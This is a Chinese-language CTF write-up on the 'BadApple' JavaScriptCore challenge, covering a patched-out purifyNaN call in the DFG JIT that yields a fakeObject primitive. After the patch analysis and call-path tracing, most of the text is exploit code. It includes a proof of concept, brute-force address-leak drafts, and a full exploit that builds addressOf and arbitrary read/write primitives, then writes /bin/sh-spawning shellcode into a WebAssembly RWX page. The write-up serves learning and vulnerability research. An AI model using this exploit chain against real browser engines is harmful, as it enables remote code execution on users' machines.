一
前言
依稀记得那晚被阿里CTF支配的恐惧,今年的阿里CTF笔者就做了一道签到PWN题,当时也是下定决心要学习 这个题目重新引入了一个 注:如果读者想了解更多关于该漏洞的一些背景,请读者直接移步到参考文章,参考文章写的非常详细,对漏洞原理的分析也非常到位,本文更多的是记录如何从一个漏洞的jsc pwn
然后复现这道BadApple
题目。CVE
,其实出题人已经白给了,因为出题人后面直接把当时漏洞发现者的演讲视频给了,然后通过视频可以找到解析文章,漏洞原理分析、poc
基本都有了,但是当时笔者实力有限,还是没有搞出来,经过这两天对JSC
漏洞利用的研究,打算把这道题目复现了。patch
一层一层的找到触发该漏洞的逻辑,而且写利用时也会遇到很多坑,笔者也详细做了记录。
二
环境搭建
git checkout WebKit-7618.1.15.14.7
git apply ../BadApple.diff
Tools/Scripts/build-webkit --jsc-only --release
三
漏洞分析
patch
如下:
diff --git a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
index f2b51cf1213a..fd84ab644117 100644
--- a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
+++ b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
@@ -4307,7 +4307,7 @@ void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType
}if (format == DataFormatJS) {
- purifyNaN(resultReg);
+ // purifyNaN(resultReg);
boxDouble(resultReg, resultRegs);
jsValueResult(resultRegs, node);
} else {
diff --git a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
index f4e0bf891a61..6acea11bd819 100644
--- a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
+++ b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
@@ -15292,7 +15292,7 @@ IGNORE_CLANG_WARNINGS_END
else
genericResult = strictInt52ToJSValue(m_out.zeroExt(genericResult, Int64));
} else if (genericResult->type() == Double)
- genericResult = boxDouble(purifyNaN(genericResult));
+ genericResult = boxDouble(genericResult);results.append(m_out.anchor(genericResult));
m_out.jump(continuation);
diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index f85c7db6bfbe..6af45c3e477e 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -616,6 +616,9 @@ private:Base::finishCreation(vm);
JSC_TO_STRING_TAG_WITHOUT_TRANSITION();
+ // addFunction(vm, "describe"_s, functionDescribe, 1);
+ // addFunction(vm, "print"_s, functionPrintStdOut, 1);
+ return;addFunction(vm, "atob"_s, functionAtob, 1);
addFunction(vm, "btoa"_s, functionBtoa, 1);
这里DFG
和FTL
中的两处漏洞都可以单独进行利用,所以这里仅仅看DFG
中的漏洞,其补丁打在了SpeculativeJIT::compileGetByValOnFloatTypedArray
函数中:
void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
ASSERT(isFloat(type));SpeculateCellOperand base(this, m_graph.varArgChild(node, 0));
SpeculateStrictInt32Operand property(this, m_graph.varArgChild(node, 1));
StorageOperand storage(this, m_graph.varArgChild(node, 2));
GPRTemporary scratch(this);
FPRTemporary result(this);GPRReg baseReg = base.gpr();
GPRReg propertyReg = property.gpr();
GPRReg storageReg = storage.gpr();
GPRReg scratchGPR = scratch.gpr();
FPRReg resultReg = result.fpr();std::optional<GPRTemporary> scratch2;
GPRReg scratch2GPR = InvalidGPRReg;
#if USE(JSVALUE64)
if (node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {
scratch2.emplace(this);
scratch2GPR = scratch2->gpr();
}
#endifJSValueRegs resultRegs;
DataFormat format;
std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);emitTypedArrayBoundsCheck(node, baseReg, propertyReg, scratchGPR, scratch2GPR);
switch (elementSize(type)) {
case 4:
loadFloat(BaseIndex(storageReg, propertyReg, TimesFour), resultReg);
convertFloatToDouble(resultReg, resultReg);
break;
case 8: {
// 【1】
loadDouble(BaseIndex(storageReg, propertyReg, TimesEight), resultReg);
break;
}
default:
RELEASE_ASSERT_NOT_REACHED();
}if (format == DataFormatJS) {
// 【2】
// purifyNaN(resultReg);
boxDouble(resultReg, resultRegs);
jsValueResult(resultRegs, node);
} else {
ASSERT(format == DataFormatDouble);
doubleResult(resultReg, node);
}
}
compileGetByValOnFloatTypedArray
函数顾名思义,其是用来优化GetByValOnFloatTypedArray
操作的,比如如下代码:
let f64 = new Float64Array(10);
let val = f64[0];
对于f64[0]
在DFG
阶段会调用compileGetByValOnFloatTypedArray
对其进行优化,这里的f64
是Float64Array
,所以元素大小是 8 字节,其会走到【1】
处,loadDouble
会根据索引从数组中加载相应的值到resultReg
中。然后会走到后面的if-else
处,如果format == DataFormatJS
则会走到漏洞分支处,可以看到这里直接对resultReg
进行了box
处理,即将其转换为JSValue。
这里
format == DataFormatJS
表示优化编译器认为这个值在后面被会作为JSValue
使用,所以会走if
分支调用boxDouble
将其转换为一个JSValue
,否则认为后面会直接使用原始值,所以会走else
分支不做box
处理
可以看到,patch
主要就是注释掉了purifyNaN(resultReg);
从而引入了漏洞,来看下pyrifyNaN
函数:
// Returns some kind of pure NaN.
inline double pureNaN()
{
return bitwise_cast<double>(0x7ff8000000000000ll);
}#define PNaN (pureNaN())
inline bool isImpureNaN(double value)
{
return bitwise_cast<uint64_t>(value) >= 0xfffe000000000000llu;
}// If the given value is NaN then return a NaN that is known to be pure.
inline double purifyNaN(double value)
{
if (value != value)
return PNaN;
return value;
}
可以看到这里函数的功能就跟其名称一样:purify NaN
,在JSC
中,其认为0x7ff8000000000000ll
是一个pure NaN
。所以这里的意思就是如果数组中的值是NaN
,则统一使用pure NaN
,后面简称PNaN。
为啥要统一使用PNaN
?这里先来看下boxDouble。
boxDouble
的实现有好多个,可以根据参数类型进行判断具体的调用的哪一个实现
void boxDouble(FPRReg fpr, JSValueRegs regs, TagRegistersMode mode = HaveTagRegisters)
{
boxDouble(fpr, regs.gpr(), mode);
}GPRReg boxDouble(FPRReg fpr, GPRReg gpr, TagRegistersMode mode = HaveTagRegisters)
{
// 【1】
moveDoubleTo64(fpr, gpr);
if (mode == DoNotHaveTagRegisters)
sub64(TrustedImm64(JSValue::NumberTag), gpr);
else {
// 【2】
sub64(GPRInfo::numberTagRegister, gpr);
jitAssertIsJSDouble(gpr);
}
return gpr;
}
所以之前的函数走的是【2】
分支,这里首先将fpr
赋值给了gpr
,然后执行sub64(GPRInfo::numberTagRegister, gpr);
即gpr = gpr - GPRInfo::numberTagRegister
,这里跟踪一下:
static constexpr GPRReg numberTagRegister = X86Registers::r14;
所以这里GPRInfo::numberTagRegister
对于的是虚拟寄存器r14
,行那么问题来了?r14
在实际运行时到底是多少呢?这里还是不知道,所以我们还是根据GPRInfo::numberTagRegister
的名称进行搜索:
// If all bits in the mask are set, this indicates an integer number,
// if any but not all are set this value is a double precision number.
static constexpr int64_t NumberTag = 0xfffe000000000000ll;
最后找到了一个比较相关的,其值为0xfffe000000000000ll
,其实可以发现其就是integer JSValue
的mask
,所以这里我们可以认为其就是gpr = gpr - 0xfffe000000000000ll
,但是似乎也不对啊,double JSValue
应该是gpr = gpr + 0x0002000000000000ll
才对啊,别急:
gpr = gpr-0xfffe000000000000ll
= gpr-0xfffe000000000000ll-0x0002000000000000ll+0x0002000000000000ll
= gpr-(0xfffe000000000000ll+0x0002000000000000ll)+0x0002000000000000ll
= gpr-0x1_0000000000000000[发生溢出]+0x0002000000000000ll
= gpr+0x0002000000000000ll
所以其是等效的,这里的效果就是gpr = gpr + 0x0002000000000000ll
,行,接下来我们在梳理一下程序的流程:
f64[0]
==> resultReg = loadDouble
if format == DataFormatJS is true ==> resultReg + 0x0002000000000000ll
==> return
这里其实漏洞就很明显了,如果resuleReg = 0xfffe_????_????_????
,那么此时就会发生溢出:
resultReg + 0x0002000000000000ll = 0xfffe_????_????_???? + 0x0002000000000000ll
= 0x0000_????_????_????
而0x0000_????_????_????
会被当作一个指针,所以就获得了一个fakeObject
原语。那么这里resuleReg
可以为0xfffe_?...?
吗?答案是可以的,比如如下代码:
let f64 = new Float64Array(10);
let u64 = new BigUint64Array(f64);
u64[0] = 0xfffe_0000_0000_1111n;
let val = f64[0];
这里我们顺便看下为啥加上purifyNaN
就可以消除这个漏洞,我们知道0xfffe_????_????_????
对于double
而言都是NaN
(其实只要指数域全部置位,尾数域不全为 0,表示的就是NaN
),所以对于此类值,我们都统一使用PNaN = 0x7ff8000000000000ll
,这时:
resultReg + 0x0002000000000000ll = 0x7ff8000000000000ll + 0x0002000000000000ll
= 0x7ffa000000000000
可以看到这里就避免了溢出的发生。
漏洞触发:
接下来就是关键的漏洞触发路径的探索了。 通过上面的分析,我们知道想要触发漏洞,就要执行到:
void SpeculativeJIT::compileGetByValOnFloatTypedArray(
Node* node,
TypedArrayType type,
const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
并且要求最后执行if
分支,即format == DataFormatJS
得成立,而format
被赋值的语句如下:
void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
......
JSValueRegs resultRegs;
DataFormat format;
std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);
......
可以看到format
的值为compileGetByValOnFloatTypedArray
的第三个参数prefix
(其是一个lambda
函数) 返回值tuple
的第二个值。所以这里目标就很清楚了:
◆调用compileGetByValOnFloatTypedArray
函数
◆传入的第三个参数prefix
执行后返回值tuple
的第二个元素为DataFormatJS
先看下有哪些函数调用compileGetByValOnFloatTypedArray
,经过搜索,笔者仅在如下路径中找到调用:
Source\JavaScriptCore\dfg\DFGSpeculativeJIT64.cpp ⇒ SpeculativeJIT::compileGetByVal
Source\JavaScriptCore\dfg\DFGSpeculativeJIT32_64.cpp ⇒ SpeculativeJIT::compileGetByVal
然后看DFGSpeculativeJIT32_64.cp
似乎没用了?这里看下DFGSpeculativeJIT64.cpp
下的实现:
void SpeculativeJIT::compileGetByVal(Node* node, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
switch (node->arrayMode().type()) {
......
case Array::Float32Array:
case Array::Float64Array: {
TypedArrayType type = node->arrayMode().typedArrayType();
if (isInt(type))
compileGetByValOnIntTypedArray(node, type, prefix);
else
compileGetByValOnFloatTypedArray(node, type, prefix);
} }
}
这里继续跟踪compileGetByVal
的引用,看看谁调用了它,最后找到如下调用:
// DFGSpeculativeJIT32_64.cpp 下的是一样的,就不多说了
Source\JavaScriptCore\dfg\DFGSpeculativeJIT64.cpp ⇒ SpeculativeJIT::compile
Source\JavaScriptCore\dfg\DFGSpeculativeJIT.cpp ⇒ SpeculativeJIT::compileEnumeratorGetByVal
这里先来看下SpeculativeJIT::compile
函数:
void SpeculativeJIT::compile(Node* node)
{
NodeType op = node->op();
......
switch (op) {
......
case GetByVal: {
JSValueRegsTemporary result;
compileGetByVal(node, scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>([&] (DataFormat preferredFormat) {
JSValueRegs resultRegs;
switch (preferredFormat) {
case DataFormatDouble:
break;
default: {
result = JSValueRegsTemporary(this);
resultRegs = result.regs();
break;
}
};
return std::tuple { resultRegs, preferredFormat, CanUseFlush::Yes };
}));
break;
}
这里我并没有在外部找到 然后再来看下preferredFormat
的定义,所以这里lambda
函数返回的tuple
的第二个元素似乎不确定,所以这条路径暂时放弃。SpeculativeJIT::compileEnumeratorGetByVal
函数:
void SpeculativeJIT::compileEnumeratorGetByVal(Node* node)
{
Edge baseEdge = m_graph.varArgChild(node, 0);
auto generate = [&] (JSValueRegs baseRegs) {
......
compileGetByVal(node,
scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat)>([&] (DataFormat) {......
return std::tuple { resultRegs, DataFormatJS, CanUseFlush::No };
}));
......
};
......
}
可以到这里lambda
函数返回的tuple
的第二个元素恒为DataFormatJS
,这时符合条件的,并且由于其固定为DataFormatJS
,对漏洞利用的稳定性也有很大的帮助。
说实话,感觉是真的巧,巧合就有这么一个函数,巧合其返回的就是
DataFormatJS
,差一个环节,这个漏洞的利用都会显得非常困难
所以最后我们需要执行到compileEnumeratorGetByVal
逻辑即可,而跟踪可以知道,其会在SpeculativeJIT::compile
中被调用:
void SpeculativeJIT::compile(Node* node)
{
NodeType op = node->op();
......
switch (op) {
......
case EnumeratorGetByVal: {
compileEnumeratorGetByVal(node);
break;
}
......
根据case
可以知道,其是处理EnumeratorGetByVal
操作的,并且这里基本上就到了优化编译路径的顶层了。
void SpeculativeJIT::compileCurrentBlock()
{
ASSERT(m_compileOkay);
......
for (m_indexInBlock = 0; m_indexInBlock < m_block->size(); ++m_indexInBlock) {
m_currentNode = m_block->at(m_indexInBlock);
......
compile(m_currentNode);
......
接下来就是要看看EnumeratorGetByVal
对应的操作是什么,这里结合chatGPT
食用:
在
JavaScriptCore
中,EnumeratorGetByVal
是一个函数,用于在枚举对象的属性时获取指定键的值。当使用
for...in
语句或Object.keys()
等方法枚举对象的属性时,JavaScriptCore
使用EnumeratorGetByVal
函数来获取每个属性的值。
这里不禁让我想到了 还是回到 但是到这里我们就可以尝试写V8
中for-in
的实现,for-in
其实是一个非常耗时的语句,不同的引擎针对for-in
的实现都做了不同的优化,在V8
中,其主要就是通过enum cache
去加速for-in
语句的属性查找,之前分析过的V8
中关于enum cache
的漏洞就是enum cache
在对象类型改变时没有及时更新从而导致越界,感兴趣的读者可以参考之前笔者的文章。JSC
中来,笔者并没用找到JSC
中关于for-in
的实现资料,关于源码.....嗯,笔者暂时没打算直接读源码,因为笔者现在还在对JSC
的整个编译流程做总结,还没用打算深入源码,毕竟还得慢慢来,一口不能吃成一个大胖子。poc
了,我们只需要知道for-in
中利用key
获取属性值时会走到漏洞逻辑进行了,考虑如下poc
:由于对JSC
的一些编译管道不是很熟悉,所以poc
写了很久都没写出来,最后直接看官方poc
吧。
let abuf = new ArrayBuffer(8);
let lbuf = new BigUint64Array(abuf);
let fbuf = new Float64Array(abuf);obj = {other:1};
function trigger(arg, t) {
for (let i in obj) {
obj = [0];
t.x = arg[i];
}
}t = {x: {}};
trigger(obj, t);
for (let i = 0 ; i < 0x1000; i++) {
trigger(fbuf,t);
}lbuf[0] = 0xfffe0000_00000001n;
trigger(fbuf, t);
t.x;
调试程序crash
:
可以看到程序crash
的原因是内存读写错误,因为此时的r13 = 1
是一个无效地址。
四
漏洞利用
现在我们已经获得了一个 这里参考文章中给出了一种方案,这里不细说,具体请参考参考文章,简单来说就是当 笔者在写fakeObject
原语,接下来就是去考虑该如何进行利用了......说实话,我还真不知道咋利用,毕竟没有addressOf
原语就没办法泄漏相关对象的地址,从而无法去伪造合法的对象,所以这里得想办法泄漏对象地址。===
操作被优化后,其直接使用cmp
指令进行比较,那么我们可以利用一个有效指针和无效指针进行比较从而爆破对象地址。exp
的时候遇到了很多问题,而这些问题在参考文章中都没有说明,所以笔者带着大家去解决这些问题:
GC
发生,由于存在对一些非法对象的引用,如果触发GC
则会导致crash。
crash
,因为优化时会对对象进行检查。首先说明下,在ubu20.04
上,我发现对象的低24
比特似乎是固定的:不知道是不是平台的原因,还是是其跟V8
有差不多的特性?
接下来就跟着笔者去碰一碰利用过程中遇到的问题吧,第一版爆破对象地址的exp
:
var abuf = new ArrayBuffer(8);
var lbuf = new BigUint64Array(abuf);
var fbuf = new Float64Array(abuf);var t = {x: {}};
var obj = {x:1234, y:1234};
var obj_to_leak = { p1: 1337, p2: 1337 };
function trigger(arg, a2) {
for (let i in obj) {
obj = [1];
let out = arg[i];
a2.x = out;
}
}function compare_obj(pointer, target_obj) {
return pointer.x === target_obj;
}function fakeObject(addr) {
lbuf[0] = 0xfffe_0000_0000_0000n + addr;
trigger(fbuf, t);
}trigger(obj, t);
trigger(t, obj_to_leak);for (let i = 0 ; i < 0x1000; i++) {
trigger(fbuf,t);
}for (let i = 0; i < 0x10000; i++) {
compare_obj(t, obj_to_leak);
}debug(describe(obj_to_leak));
var addr = 0n;
for (let i = 0n; i < 0xffffn; i += 1n) {
print(i);
addr = 0x7f0000500180n + i*0x1000000n;
fakeObject(addr);
let res = compare_obj(t, obj_to_leak);
if (res) {
print("Success");
break
}
}
debug(describe(obj_to_leak));
print("addr: 0x"+addr.toString(16));
运行直接crash
:
调试看看是哪里出了问题:
可以看到这里的rdi
就是我们进行爆破的地址,现在其是一个无效的地址,所以这里[rdi+0x5]
发生了内存访问错误,看调用栈可以知道其发生在如下调用逻辑:
[#0] 0x7ffff6616dfb → JSC::speculationFromCell(JSC::JSCell*)()
[#1] 0x7ffff65f7655 → JSC::CompressedLazyValueProfileHolder::computeUpdatedPredictions(JSC::ConcurrentJSLocker const&, JSC::CodeBlock*)()
[#2] 0x7ffff65936bc → JSC::CodeBlock::updateAllPredictions()()
[#3] 0x7ffff6f6e71d → operationOptimize()
而且通过 所以接下来就是去找出是哪里发生了优化,这里基本也是连猜带懵(其实这里可以主要到其明显与伪造对象有关,而结合源代码,基本上就可以知道是哪里出现了问题),当然这里笔者也没搞懂底层的根本原因,所以就不多说了,直接看代码。 这里笔者写出了第二版泄漏代码:rdi
的值可以知道其是在爆破的过程中发生了,所以这里应该是在爆破的过程中发生了优化,其实大概就可以猜测是因为某个操作循环了多次导致的,这里读者可以大概去看一下operationOptimize
函数(其实也不用看),然后就可以知道updateAllPredictions
函数用来更新预测信息的(其实根据函数名也知道)。
var abuf = new ArrayBuffer(8);
var lbuf = new BigUint64Array(abuf);
var fbuf = new Float64Array(abuf);var t = {x: {}};
var obj = {x:1234, y:1234};
var obj_to_leak = { p1: 1337, p2: 1337 };
function trigger(arg, a2) {
for (let i in obj) {
obj = [1];
let out = arg[i];
a2.x = out;
}
}function compare_obj(pointer, target_obj) {
return pointer.x === target_obj;
}function fakeObject(addr) {
lbuf[0] = 0xfffe_0000_0000_0000n + addr;
trigger(fbuf, t);
}trigger(obj, t);
trigger(t, obj_to_leak);for (let i = 0 ; i < 0x1000; i++) {
trigger(fbuf,t);
}lbuf[0] = 0xfffe0000_22222222n;
for (let i = 0; i < 0x1000; i++) {
trigger(fbuf, t);
}for (let i = 0; i < 0x10000; i++) {
compare_obj(t, obj_to_leak);
}debug(describe(obj_to_leak));
var addr = 0n;
for (let i = 0n; i < 0xffffn; i += 1n) {
print(i);
addr = 0x7f0000500180n + i*0x1000000n;
fakeObject(addr);
let res = compare_obj(t, obj_to_leak);
if (res) {
print("Success");
break
}
}
debug(describe(obj_to_leak));
print("addr: 0x"+addr.toString(16));
笔者增加了如下代码去提前进行相关优化:
lbuf[0] = 0xfffe0000_22222222n;
for (let i = 0; i < 0x1000; i++) {
trigger(fbuf, t);
}
为什么选择 运行结果如下:0xfffe0000_22222222n
呢?因为笔者测试发现如果你把原始poc
中的0xfffe0000_00000001n
换成0xfffe0000_22222222n
,程序不会崩溃,当然还有一些其它值也不会崩溃,比如0xfffe0000_00000002n、0xfffe0000_00000006n
等等,这里2
表示的是Null
,6
表示的是false
,所以其不会崩溃自然可以理解。
虽然还是崩溃了,但是可以看到现在可以执行的更远了,这里是执行到了19565
,而上面仅仅执行到了159
,还是调试分析下:
可以看到这里的崩溃原因与第一版的并不一样,并且这版运行的更远,说明上一个版本的问题我们已经成功解决了。但是这个问题,笔者并没有很好的解决,因为笔者感觉是gc
的问题,所以多跑几次吧。
如果读者针对该问题有比较好的解决方案,欢迎交流。 泄漏了对象地址后,其实就比较简单了,直接套模板就行了,exp
其实可以简化的,但是不想改了,因为obj_to_leak
对象的地址的低24
比特随着代码而改变,增加一行代码或减少一行代码都有可能使得其地址低24
比特被改变,如果存在像V8
那样的通用堆喷就好了。exploit
如下:
var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}function u64_to_f64(val) {
u64[0] = val;
return f64[0];
}function f64_to_u64(val) {
f64[0] = val;
return u64[0];
}function set_u64(val) {
u64[0] = val;
}function set_l(l) {
u32[0] = l;
}function set_h(h) {
u32[1] = h;
}function get_l() {
return u32[0];
}function get_h() {
return u32[1];
}function get_u64() {
return u64[0];
}function get_f64() {
return f64[0];
}function get_fl(val) {
f64[0] = val;
return u32[0];
}function get_fh(val) {
f64[0] = val;
return u32[1];
}function hexx(str, val) {
print(str+": 0x"+val.toString(16));
}function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}var abuf = new ArrayBuffer(8);
var fbuf = new Float64Array(abuf);
var lbuf = new BigUint64Array(abuf);var arrs = new Array(0x20).fill({});
for (let i = 0; i < 0x20; i++) {
arrs[i] = { x: 1337, y: 1337 };
};
var t = { x: 1337, y: 1337};
var obj = { x: 1337, y: 1337 };
var obj_to_leak = { x: 1337, y: 1337 };
var header = { x: 1337, y: 1337 };
var butterfly = { x: 200, y: 1337 };
var addressOf_obj = { x: 1337, y: 1337 };function trigger(arr, a2) {
for (let i in obj) {
obj = [1];
let out = arr[i];
a2.y = out;
}
}function fakeObject(addr, a2) {
lbuf[0] = 0xfffe_0000_0000_0000n + addr;
trigger(fbuf, a2);
}function compare_obj(pointer, target_obj) {
return pointer.y === target_obj;
}trigger(obj, t);
compare_obj(t, obj_to_leak);for (let i = 0; i < 0x30000; i++) {
trigger(fbuf, t);
}lbuf[0] = 0xfffe0000_22222222n;;
for (let i = 0; i < 0x1000; i++) {
trigger(fbuf, t);
}for (let i = 0; i < 0x10000; i++) {
compare_obj(t, obj_to_leak);
}print("==> Go");
//debug(describe(obj_to_leak));
var addr = 0n;
for (let i = 0n; i < 0xffffn; i += 1n) {
addr = 0x7fffff50c580n - i*0x1000000n;
// print(i);
// hexx("addr", addr);
fakeObject(addr, t);
let res = compare_obj(t, obj_to_leak);
if (res) {
hexx("addr", addr);
break;
}
}obj_to_leak.x = u64_to_f64(0x0108230700000000n-0x2000000000000n);
fakeObject(0x2000000020n, header);
obj_to_leak.y = butterfly;fakeObject(addr+0x10n, t);
var fake_object = t.y;//debug(describe(obj_to_leak));
//debug(describe(header));
//debug(describe(butterfly));
//debug(describe(addressOf_obj));function addressOf(obj) {
butterfly.x = obj;
return f64_to_u64(fake_object[2]);
}print("==> End");
hexx("test", addressOf(addressOf_obj));function fakeObject_better(addr) {
fake_object[2] = u64_to_f64(addr);
return butterfly.x;
}function leakStructureID(obj) {
let container = {
jscell: u64_to_f64(0x0108230700000000n-0x2000000000000n),
butterfly: obj
};let fake_object_addr = addressOf(container) + 0x10n;
let leak_fake_object = fakeObject_better(fake_object_addr);
let num = f64_to_u64(leak_fake_object[0]);let structureID = num & 0xffffffffn;
container.jscell = f64[0];
return structureID;
}var noCOW = 1.1;
var arrs = [];
for (let i = 0; i < 100; i++) {
arrs.push([noCOW]);
}
var ID = [noCOW];//debug(describe(ID));
var structureID = leakStructureID(ID);
hexx("structureID", structureID);var victim = [noCOW, 1.1, 2.2];
victim['prop'] = 3.3;
victim['brob'] = 4.4;var container = {
jscell: u64_to_f64(structureID+0x0108230900000000n-0x2000000000000n),
butterfly: victim
};var container_addr = addressOf(container);
var driver_addr = container_addr + 0x10n;
var driver = fakeObject_better(driver_addr);//debug(describe(victim));
//debug(describe(driver));var unboxed = [noCOW, 1.1, 2.2];
var boxed = [{}];driver[1] = unboxed;
var sharedButterfly = victim[1];
hexx("sharedButterfly", f64_to_u64(sharedButterfly));
//debug(describe(unboxed));driver[1] = boxed;
victim[1] = sharedButterfly;function new_addressOf(obj) {
boxed[0] = obj;
return f64_to_u64(unboxed[0]);
}function new_fakeObject(addr) {
unboxed[0] = u64_to_f64(addr);
return boxed[0];
}function read64(addr) {
driver[1] = new_fakeObject(addr + 0x10n);
return new_addressOf(victim.prop);
}function write64(addr, val) {
driver[1] = new_fakeObject(addr + 0x10n);
victim.prop = u64_to_f64(val);;
}function ByteToDwordArray(payload) {
let sc = [];
let tmp = [];
let len = Math.ceil(payload.length / 6);
for (let i = 0; i < len; i += 1) {
tmp = 0n;
pow = 1n;
for(let j = 0; j < 6; j++){
let c = payload[i*6+j]
if(c === undefined) {
c = 0n;
}
pow = j==0 ? 1n : 256n * pow;
tmp += c * pow;
}
tmp += 0xc000000000000n;
sc.push(tmp);
}
return sc;
}function arb_write(addr, payload) {
let sc = ByteToDwordArray(payload);
for(let i = 0; i < sc.length; i++) {
write64(addr, sc[i]);
addr += 6n;
}
}var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;var pwn_addr = new_addressOf(pwn);
hexx("pwn_addr", pwn_addr);
var rwx_ptr = read64(pwn_addr + 0x30n);
var rwx_addr = read64(rwx_ptr);;
hexx("rwx_addr", rwx_addr);var shellcode =[106n, 104n, 72n, 184n, 47n, 98n, 105n, 110n, 47n, 47n, 47n, 115n,
80n, 72n, 137n, 231n, 104n, 114n, 105n, 1n, 1n, 129n, 52n, 36n, 1n,
1n, 1n, 1n, 49n, 246n, 86n, 106n, 8n, 94n, 72n, 1n, 230n,86n, 72n,
137n, 230n, 49n, 210n, 106n, 59n, 88n, 15n, 5n];arb_write(rwx_addr, shellcode);
pwn();
效果如下:
五
总结
通过对该漏洞的分析与调试,笔者学习了如何通过一个 但是自己写利用,调试分析fakeObject
原语进行RCE
,并且也让我认识到了自己对JIT
真是了解甚少,原作者通过===
优化后的代码去爆破对象地址可谓妙哉。exp
的问题从而针对问题进行修改,这对笔者的漏洞利用能力有极大的帮助,当然也希望自己可以跟上大佬的步伐,早日成功一个还不错的安全研究人员。
Safari, Hold Still for NaN Minutes!
https://blog.exodusintel.com/2023/12/11/safari-hold-still-for-nan-minutes/
看雪ID:XiaozaYa
https://bbs.kanxue.com/user-home-965217.htm
# 往期推荐
3、阿里云CTF2024-暴力ENOTYOURWORLD题解
球分享
球点赞
球在看
点击阅读原文查看更多